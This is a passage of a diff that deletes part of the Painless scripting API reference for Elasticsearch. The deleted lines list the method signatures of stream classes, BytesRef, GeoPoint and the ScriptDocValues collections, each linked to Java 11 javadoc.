-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/stream/BaseStream.html#isParallel()[isParallel]()
-* PrimitiveIterator.OfLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#iterator()[iterator]()
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#limit(long)[limit](long)
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#map(java.util.function.LongUnaryOperator)[map](LongUnaryOperator)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#mapToDouble(java.util.function.LongToDoubleFunction)[mapToDouble](LongToDoubleFunction)
-* IntStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#mapToInt(java.util.function.LongToIntFunction)[mapToInt](LongToIntFunction)
-* Stream {java11-javadoc}/java.base/java/util/stream/LongStream.html#mapToObj(java.util.function.LongFunction)[mapToObj](LongFunction)
-* OptionalLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#max()[max]()
-* OptionalLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#min()[min]()
-* boolean {java11-javadoc}/java.base/java/util/stream/LongStream.html#noneMatch(java.util.function.LongPredicate)[noneMatch](LongPredicate)
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#peek(java.util.function.LongConsumer)[peek](LongConsumer)
-* OptionalLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#reduce(java.util.function.LongBinaryOperator)[reduce](LongBinaryOperator)
-* long {java11-javadoc}/java.base/java/util/stream/LongStream.html#reduce(long,java.util.function.LongBinaryOperator)[reduce](long, LongBinaryOperator)
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#sequential()[sequential]()
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#skip(long)[skip](long)
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream.html#sorted()[sorted]()
-* Spliterator.OfLong {java11-javadoc}/java.base/java/util/stream/LongStream.html#spliterator()[spliterator]()
-* long {java11-javadoc}/java.base/java/util/stream/LongStream.html#sum()[sum]()
-* LongSummaryStatistics {java11-javadoc}/java.base/java/util/stream/LongStream.html#summaryStatistics()[summaryStatistics]()
-* long[] {java11-javadoc}/java.base/java/util/stream/LongStream.html#toArray()[toArray]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#unordered()[unordered]()
-
-
-[[painless-api-reference-shared-LongStream-Builder]]
-==== LongStream.Builder
-* void {java11-javadoc}/java.base/java/util/function/LongConsumer.html#accept(long)[accept](long)
-* LongStream.Builder {java11-javadoc}/java.base/java/util/stream/LongStream$Builder.html#add(long)[add](long)
-* LongConsumer {java11-javadoc}/java.base/java/util/function/LongConsumer.html#andThen(java.util.function.LongConsumer)[andThen](LongConsumer)
-* LongStream {java11-javadoc}/java.base/java/util/stream/LongStream$Builder.html#build()[build]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Stream]]
-==== Stream
-* static Stream.Builder {java11-javadoc}/java.base/java/util/stream/Stream.html#builder()[builder]()
-* static Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#concat(java.util.stream.Stream,java.util.stream.Stream)[concat](Stream, Stream)
-* static Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#empty()[empty]()
-* static Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#of(java.lang.Object%5B%5D)[of](def[])
-* boolean {java11-javadoc}/java.base/java/util/stream/Stream.html#allMatch(java.util.function.Predicate)[allMatch](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/stream/Stream.html#anyMatch(java.util.function.Predicate)[anyMatch](Predicate)
-* void {java11-javadoc}/java.base/java/util/stream/BaseStream.html#close()[close]()
-* def {java11-javadoc}/java.base/java/util/stream/Stream.html#collect(java.util.stream.Collector)[collect](Collector)
-* def {java11-javadoc}/java.base/java/util/stream/Stream.html#collect(java.util.function.Supplier,java.util.function.BiConsumer,java.util.function.BiConsumer)[collect](Supplier, BiConsumer, BiConsumer)
-* long {java11-javadoc}/java.base/java/util/stream/Stream.html#count()[count]()
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#distinct()[distinct]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#filter(java.util.function.Predicate)[filter](Predicate)
-* Optional {java11-javadoc}/java.base/java/util/stream/Stream.html#findAny()[findAny]()
-* Optional {java11-javadoc}/java.base/java/util/stream/Stream.html#findFirst()[findFirst]()
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#flatMap(java.util.function.Function)[flatMap](Function)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/Stream.html#flatMapToDouble(java.util.function.Function)[flatMapToDouble](Function)
-* IntStream {java11-javadoc}/java.base/java/util/stream/Stream.html#flatMapToInt(java.util.function.Function)[flatMapToInt](Function)
-* LongStream {java11-javadoc}/java.base/java/util/stream/Stream.html#flatMapToLong(java.util.function.Function)[flatMapToLong](Function)
-* void {java11-javadoc}/java.base/java/util/stream/Stream.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* void {java11-javadoc}/java.base/java/util/stream/Stream.html#forEachOrdered(java.util.function.Consumer)[forEachOrdered](Consumer)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/stream/BaseStream.html#isParallel()[isParallel]()
-* Iterator {java11-javadoc}/java.base/java/util/stream/BaseStream.html#iterator()[iterator]()
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#limit(long)[limit](long)
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#map(java.util.function.Function)[map](Function)
-* DoubleStream {java11-javadoc}/java.base/java/util/stream/Stream.html#mapToDouble(java.util.function.ToDoubleFunction)[mapToDouble](ToDoubleFunction)
-* IntStream {java11-javadoc}/java.base/java/util/stream/Stream.html#mapToInt(java.util.function.ToIntFunction)[mapToInt](ToIntFunction)
-* LongStream {java11-javadoc}/java.base/java/util/stream/Stream.html#mapToLong(java.util.function.ToLongFunction)[mapToLong](ToLongFunction)
-* Optional {java11-javadoc}/java.base/java/util/stream/Stream.html#max(java.util.Comparator)[max](Comparator)
-* Optional {java11-javadoc}/java.base/java/util/stream/Stream.html#min(java.util.Comparator)[min](Comparator)
-* boolean {java11-javadoc}/java.base/java/util/stream/Stream.html#noneMatch(java.util.function.Predicate)[noneMatch](Predicate)
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#peek(java.util.function.Consumer)[peek](Consumer)
-* Optional {java11-javadoc}/java.base/java/util/stream/Stream.html#reduce(java.util.function.BinaryOperator)[reduce](BinaryOperator)
-* def {java11-javadoc}/java.base/java/util/stream/Stream.html#reduce(java.lang.Object,java.util.function.BinaryOperator)[reduce](def, BinaryOperator)
-* def {java11-javadoc}/java.base/java/util/stream/Stream.html#reduce(java.lang.Object,java.util.function.BiFunction,java.util.function.BinaryOperator)[reduce](def, BiFunction, BinaryOperator)
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#sequential()[sequential]()
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#skip(long)[skip](long)
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#sorted()[sorted]()
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream.html#sorted(java.util.Comparator)[sorted](Comparator)
-* Spliterator {java11-javadoc}/java.base/java/util/stream/BaseStream.html#spliterator()[spliterator]()
-* def[] {java11-javadoc}/java.base/java/util/stream/Stream.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/stream/Stream.html#toArray(java.util.function.IntFunction)[toArray](IntFunction)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* BaseStream {java11-javadoc}/java.base/java/util/stream/BaseStream.html#unordered()[unordered]()
-
-
-[[painless-api-reference-shared-Stream-Builder]]
-==== Stream.Builder
-* void {java11-javadoc}/java.base/java/util/function/Consumer.html#accept(java.lang.Object)[accept](def)
-* Stream.Builder {java11-javadoc}/java.base/java/util/stream/Stream$Builder.html#add(java.lang.Object)[add](def)
-* Consumer {java11-javadoc}/java.base/java/util/function/Consumer.html#andThen(java.util.function.Consumer)[andThen](Consumer)
-* Stream {java11-javadoc}/java.base/java/util/stream/Stream$Builder.html#build()[build]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-apache-lucene-util"]
-=== Shared API for package org.apache.lucene.util
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-BytesRef]]
-==== BytesRef
-* byte[] bytes
-* int length
-* int offset
-* boolean bytesEquals(BytesRef)
-* int {java11-javadoc}/java.base/java/lang/Comparable.html#compareTo(java.lang.Object)[compareTo](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* null utf8ToString()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-common-geo"]
-=== Shared API for package org.elasticsearch.common.geo
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-GeoPoint]]
-==== GeoPoint
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* double getLat()
-* double getLon()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-org-elasticsearch-index-fielddata"]
-=== Shared API for package org.elasticsearch.index.fielddata
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-ScriptDocValues-Booleans]]
-==== ScriptDocValues.Booleans
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Boolean get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* boolean getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptDocValues-BytesRefs]]
-==== ScriptDocValues.BytesRefs
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* BytesRef get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* BytesRef getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptDocValues-Dates]]
-==== ScriptDocValues.Dates
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* JodaCompatibleZonedDateTime get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* JodaCompatibleZonedDateTime getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptDocValues-Doubles]]
-==== ScriptDocValues.Doubles
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Double get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* double getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptDocValues-GeoPoints]]
-==== ScriptDocValues.GeoPoints
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* double arcDistance(double, double)
-* double arcDistanceWithDefault(double, double, double)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* double geohashDistance(null)
-* double geohashDistanceWithDefault(null, double)
-* GeoPoint get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* double getLat()
-* double[] getLats()
-* int getLength()
-* double getLon()
-* double[] getLons()
-* GeoPoint getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* double planeDistance(double, double)
-* double planeDistanceWithDefault(double, double, double)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ScriptDocValues-Longs]]
-==== ScriptDocValues.Longs
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Long get(int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* long getValue()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
